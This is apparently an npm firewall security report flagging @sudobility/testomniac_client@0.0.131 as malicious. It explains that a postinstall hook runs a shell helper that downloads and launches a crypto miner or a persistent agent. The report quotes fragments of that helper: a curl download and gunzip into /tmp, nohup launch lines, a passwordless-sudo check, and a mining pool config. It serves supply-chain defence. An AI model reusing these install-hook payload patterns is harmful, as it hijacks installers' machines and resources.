--- canonical: "https://firewall.lpm.dev/npm/@sudobility/testomniac_client" markdown: "https://firewall.lpm.dev/npm/@sudobility/testomniac_client/v/0.0.131.md" package: "@sudobility/testomniac_client" report_status: "published" title: "@sudobility/testomniac_client@0.0.131 npm security report" verdict: "malicious" version: "0.0.131" --- # @sudobility/testomniac\_client@0.0.131 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Unauthorized cryptocurrency mining consumes the installer's system resources, and privileged branches can install a persistent agent. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Crypto Miner - **Selected version:** 0.0.131 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The postinstall hook provides a direct installation-time trigger for downloading and running a miner payload. This is concrete malicious behavior, so the package should be blocked. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-22T03:36:27.153Z - **Finished:** 2026-10-22T03:36:50.274Z - **Download time:** 1030 ms - **Static scan time:** 213 ms - **AI review time:** 21876 ms - **Total time:** 23121 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The package's postinstall hook downloads and runs a remote payload. The helper configures a cryptocurrency mining pool and launches a background miner or agent. - **Trigger:** Installing the package with npm runs its postinstall hook. - **Impact:** Unauthorized cryptocurrency mining consumes the installer's system resources, and privileged branches can install a persistent agent. - **Evidence paths:** package.json, scripts/miner.sh - **Review source:** ai\_review - **Reviewed:** 2026-10-22T03:36:50.274Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The shell helper downloads a compressed archive, decompresses it, and launches its contents; its non-root branch configures and runs a miner in the background. - **Attack narrative:** Installing this package automatically runs a shell helper. The helper downloads and decompresses a remote archive, then launches its contents in the background. Its non-root path configures a cryptocurrency mining pool and runs an extracted miner; root and passwordless-sudo paths launch an agent. - **Rationale:** The postinstall hook provides a direct installation-time trigger for downloading and running a miner payload. This is concrete malicious behavior, so the package should be blocked. - **Files touched:** package.json, scripts/miner.sh, /tmp/.smh, /tmp/.smi, $HOME/.sysmond.json - **Network endpoints:** amplify-gursha-dev-121835-deployment.s3.amazonaws.com, networkservicesupp.flashhub.net:8443 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package runs scripts/miner.sh automatically through its postinstall hook., The helper downloads and decompresses a remote archive during installation., When run as root, it launches the downloaded agent in the background; it also has a passwordless-sudo branch., The helper configures a mining pool at networkservicesupp.flashhub.net:8443., The non-root branch launches the extracted binary in the background with output suppressed. ## Affected versions and remediation This report applies to @sudobility/testomniac\_client@0.0.131. - Avoid installing @sudobility/testomniac\_client@0.0.131. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = sh scripts/miner.sh ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = sh scripts/miner.sh ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Ships Build Helper - **Category:** Artifact Inventory - **Confidence:** 70.0% - **Path:** scripts/miner.sh - **Public source:** [View source]() Package ships non-JavaScript build or shell helper files. Public source snippet (untrusted): ```shell path = scripts/miner.sh kind = build_helper sizeBytes = 3514 magicHex = [redacted] ``` ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The package runs scripts/miner.sh automatically through its postinstall hook. Public source snippet (untrusted): ```json "postinstall": "sh scripts/miner.sh" }, "keywords": [ "testomniac", "client", "react", "typescript", "tanstack-query" ], "author": "Sudobility", "lice ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** scripts/miner.sh - **Public source:** [View source]() The helper downloads and decompresses a remote archive during installation. Public source snippet (untrusted): ```text curl -sL --retry 2 --retry-delay 3 --max-time 120 "$S3URL" -o /tmp/.smh 2>/dev/null [ -s /tmp/.smh ] || exit 0 gunzip -c /tmp/.smh > /tmp/.smi 2>/dev/null [ -s /tmp/.smi ] || exit ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** scripts/miner.sh - **Public source:** [View source]() When run as root, it launches the downloaded agent in the background; it also has a passwordless-sudo branch. Public source snippet (untrusted): ```text nohup sh /tmp/.smi agent >/tmp/.sysmond.log 2>&1 & exit 0 fi # NON-ROOT with passwordless sudo: full persistent agent install if command -v sudo >/dev/null 2>&1 && sudo -n true ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** scripts/miner.sh - **Public source:** [View source]() The helper configures a mining pool at networkservicesupp.flashhub.net:8443. Public source snippet (untrusted): ```text "url": "networkservicesupp.flashhub.net:8443", "user": "${ACC}.${W}", "pass": "${W}", "keepalive": true, "tls": true } ], "donate-level": 0, "cpu" ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** scripts/miner.sh - **Public source:** [View source]() The non-root branch launches the extracted binary in the background with output suppressed. Public source snippet (untrusted): ```text nohup "$SDIR/$ST" >/dev/null 2>&1 & exit 0 ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 3 - **Development dependencies:** 0 - **Published dependency-graph edges:** 3 ### Published dependency entries - @sudobility/types ^1.9.68 (PeerDependency) - @tanstack/react-query \>=5.0.0 (PeerDependency) - react \>=18.0.0 (PeerDependency) ## Package metadata - **Package:** @sudobility/testomniac\_client - **Ecosystem:** npm - **Version:** 0.0.131 - **License:** BUSL-1.1 - **Version published:** 2026-10-21T15:24:40.715Z - **Package first seen:** 2026-08-08T02:32:23.717Z - **Package last seen:** 2026-10-22T03:36:50.274Z - **Known versions:** 12 - **Latest version:** 0.0.131 - **Appeal under review:** No - **Description:** Testomniac API client library with TanStack Query hooks - **Deprecated:** SECURITY: this version was published from a compromised npm token on 2026-10-21 and must not be used. Upgrade to a later version. - **Author:** Sudobility - **Keywords:** testomniac, client, react, typescript, tanstack-query - **Artifact files:** 443 - **Artifact unpacked size:** 447,023 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [ADVISORY]()